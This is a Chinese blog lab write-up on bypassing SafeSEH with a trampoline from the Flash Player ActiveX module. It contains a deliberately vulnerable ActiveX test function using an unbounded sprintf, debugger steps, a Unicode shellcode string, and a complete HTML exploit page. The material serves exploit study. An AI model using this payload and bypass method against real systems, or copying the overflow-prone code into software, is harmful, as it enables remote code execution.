利用Adobe Flash Player ActiveX控件绕过SafeSEH

其实思路就是利用程序加载模块之外的内存地址,找到一个跳板指令绕过SafeSEH,flash9.2.124以前是没有SafeSEH的。

这一次试验因为涉及,mfc控件的构建,由于我虚拟机环境是vs 2008 express版本的,所以没有办法创建这种工程,直接拿别人做好的ocx文件用了。

1、第一步就是创建ActiveX mfc工程,创建一个test函数,函数中包含一个字符串覆盖的漏洞,同时注意使用的是Unicode和mfc静态库。

2、编译好这个ocx的控件后,cmd下输入:Regsvr32 路径\xx.ocx,注册。

3、写一个POC的html页面,页面中插入一个flash,让浏览器能够加载控件。页面中调用控件的test函数,并向其传递超长字符串,将异常地址覆盖为Flash控件中的跳板地址。

4、我们的调试环境一般没有flash,下载一个flash 9.0安装好。然后IE需要设置允许ActiveX运行。百度之如何开启ActiveX。

5、shellcode先给100个90,打开网页后,出现ActiveX 交互确认的对话框时,attach到od中,我们通过查看-内存-ocx文件,查找--参考字符串"aaaa",在这里下断点,F9。

6、运行到sprintf后,查看栈中,字符串离覆盖点有多远,我实验中末尾离SEH函数句柄,有24个字节,在第125-128字节覆盖我们寻找的跳板指令。

7、利用ollyfindaddr插件,查找jmp [ebp+n],这一步出现了大问题,只要一搜索我的od就闪退,不知道为什么,考虑到这个的原理,我利用查看---内存---flash9模块,点进去,搜索指令call [ebp+0xc],真的找到了!就在300B24A8,虽然和书里的不一样,但是最后验证出,我这个地址是对的。

8、shellcode布置:我们知道跳板指令会跳到覆盖的seh函数地址的低地址4个字节处(我习惯说,溢出点上面一个dword),

注意shellcode是Unicode编码,要把以前用的代码顺序改改。

0x90----------0x90     120字节

"\u0EEB\u9090";       4字节。跳板指令会跳回这里
"\u24A8\u300B";       4字节。溢出点,跳板指令地址
"\u9090\u9090\u9090\u9090";    8字节。这里是进入try的状态值以及security cookie,为了防止破坏shellcode,用90填充。

"\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";

shellcode168字节。

POC页面:

<html>  
void CVulnerAX_SEHCtrl::test(LPCTSTR str)
{
	//AFX_MANAGE_STATE(AfxGetStaticModuleState());
	// TODO: Add your dispatch handler code here
	printf("aaaa");//定位该函数的标记
	char dest[100];
	sprintf(dest,"%s",str);	
	int zero=0;
	__try
	{
	    zero=1/zero;
	}
	__except(MyException())
	{
	}
}

<body> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260"> <param name="movie" value="1.swf" /> <param name="quality" value="high" /> <embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260"></embed></object><object classid="clsid:1F0837F2-15E5-4115-A235-81DA2F73C204" id="test"></object> <script> var s = "\u9090";while (s.length < 60) {s += "\u9090";}s += "\u0EEB\u9090";s += "\u24A8\u300B";s += "\u9090\u9090\u9090\u9090";s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";test.test(s); </script> </body> </html>


test函数

void CVulnerAX_SEHCtrl::test(LPCTSTR str)
{
	//AFX_MANAGE_STATE(AfxGetStaticModuleState());
	// TODO: Add your dispatch handler code here
	printf("aaaa");//定位该函数的标记
	char dest[100];
	sprintf(dest,"%s",str);	
	int zero=0;
	__try
	{
	    zero=1/zero;
	}
	__except(MyException())
	{
	}
}




©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页